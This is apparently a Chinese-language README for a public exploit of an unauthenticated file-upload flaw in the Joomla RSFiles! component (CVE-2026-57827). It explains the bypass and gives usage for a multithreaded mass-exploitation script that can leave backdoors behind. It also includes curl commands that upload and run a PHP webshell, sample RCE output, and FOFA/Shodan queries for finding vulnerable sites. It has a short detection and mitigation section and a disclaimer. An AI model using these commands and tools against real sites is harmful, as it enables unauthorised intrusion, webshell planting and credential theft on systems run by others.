CVE-2026-57827 是 RSFiles!(com_rsfiles)中的一个未授权任意文件上传漏洞,危害等级为严重(CVSS 9.8)。RSFiles! 是 Joomla 一个广泛使用的文件管理与下载组件,受影响版本为 < 1.17.12。
该漏洞利用了拆分控制器(split-controller)设计缺陷:RSFiles! 将上传过程拆分为两个前端任务——预检检查(权限门禁 + 扩展名白名单)和写入方法(将文件保存到磁盘)。写入方法可以被直接调用,从而完全绕过预检检查。无需认证,也无需 CSRF 令牌。
| 版本 | 状态 |
|---|
| < 1.17.12 | 受影响 |
| 1.17.12+ | 已修复 |
发现者: Phil Taylor, mySites.guru(2026 年 7 月 10 日) 厂商: RSJoomla (rsjoomla.com) 组件: com_rsfiles
RSFiles! 将上传过程拆分到 /components/com_rsfiles/controllers/rsfiles.php 中的两个独立前端任务:
// 任务 1 — 预检检查 (task=rsfiles.checkupload) — 已防护
// 包含权限门禁(该用户能否上传?)和扩展名
// 白名单(默认包括图片、文本、PDF)。该方法决定是
// 否允许。它不写入任何内容。
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// 任务 2 — 写入方法 (task=rsfiles.upload) — 未防护(漏洞所在)
// 接收文件并保存到磁盘。不检查权限。
// 不检查文件类型。直接从请求中读取文件名
// 并将上传交给 Joomla 的 JFile::upload(),
// 默认情况下该方法接受任何文件类型。
function upload() {
$file = $input->files->get('file');
// 无权限检查
// 无扩展名检查
// JFile::upload() 默认接受任何内容
JFile::upload($file['tmp_name'], $dest . $file['name']);
// 文件保存到 /downloads/(Web 根目录,.htaccess 默认关闭)
}
&task=rsfiles.upload 直接调用任何任务,完全跳过预检检查。JFile::upload()),该程序默认接受任何文件类型。.htaccess 属于可选开启的管理设置,且默认关闭。1. 攻击者构造 PHP 网页后门(纯 PHP,无需 polyglot)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart,PHP 载荷)
folder=&overwrite=1
3. Joomla 前端控制器分发到 rsfiles.upload()
→ 完全跳过 rsfiles.checkupload(预检)
→ 无权限检查 → 无 CSRF 令牌检查 → 无文件类型检查
→ JFile::upload() 接受任何文件类型
4. 文件保存到 /downloads/{shell_name}.php(Web 根目录)
.htaccess 防护为可选开启,默认关闭
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP 执行 → 以 www-data 身份实现 RCE
| 文件 | 用途 |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | 包含存在漏洞的 upload() 和 checkupload() 任务的控制器 |
/components/com_rsfiles/views/upload/tmpl/upload.php | 前端上传表单模板(已确认:name="file"、task=rsfiles.upload) |
/downloads/ | Web 根目录下的默认下载文件夹(.htaccess 防护默认关闭) |
/briefcase/ | Briefcase 文件夹(也可写) |
查找对以下地址的 POST 请求:
index.php?option=com_rsfiles&task=rsfiles.upload
这些请求之前未出现对以下地址的请求:
index.php?option=com_rsfiles&task=rsfiles.checkupload
安全检查(权限门禁 + 扩展名白名单)是独立于实际写入文件的预检步骤。只有第一步包含检查。第二步——实际写入磁盘的那一步——可以通过构造 URL 中正确的 task 参数被直接调用,从而绕过所有安全控制。
这是“检查与操作分离”反模式的典型例子:防护与其要保护的操作被解耦,攻击者无需经过防护即可触达该操作。
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
# 单个目标
python cve_2026_57827.py -t target.com
# 批量扫描
python cve_2026_57827.py -f targets.txt -o shells.txt
# 调试模式,保留目标上的后门
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target 单个目标(域名或 IP)
-f, --file 目标列表,每行一个
-o, --output 将 RCE URL 保存到文件
--threads 并发线程数(默认:30)
--no-cleanup 在目标上保留后门
--debug 显示每个 HTTP 请求
-v, --verbose 详细输出
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla 组件 | CVE-2026-57827 | CVSS 9.8
主机 : joomla-site.com
RSFiles! : 是 v1.17.11
上传 : 是
RCE : 是
Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
输出 : uid=33(www-data) gid=33(www-data) groups=33(www-data)
用时 : 3.8s
步骤 1 — 上传后门
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
步骤 2 — 访问后门
curl 'https://target.com/downloads/shell.php?c=id'
步骤 3 — 执行命令
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'
缓解措施(如果无法更新)
# 删除存在漏洞的控制器文件(会使 RSFiles! 不可用,但安全)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# 或启用 .htaccess 防护:
# RSFiles 管理后台 → Settings → Files → 勾选 "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
成功利用可导致以 Web 服务器用户身份执行远程代码:
configuration.php → 数据库凭据、SMTP 机密信息整个过程无需任何站点账号。匿名、未授权、远程即可完成。
RSJoomla 在 1.17.12 版本中修复了该漏洞,方式如下:
.htaccess 防护设置为默认启用仅供教育和授权测试使用。
未经所有者明确许可,请勿将其用于任何系统。作者不对滥用行为承担任何责任。
| 资源 | 链接 |
|---|---|
| NVD 条目 | CVE-2026-57827 |
| mySites.guru 公告 | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| RSJoomla 公告 | rsjoomla.com |
| CWE-434 | 危险类型文件的不受限上传 |
| 报告者 | Phil Taylor, mySites.guru |
与 RSJoomla 或 mySites.guru 无关联。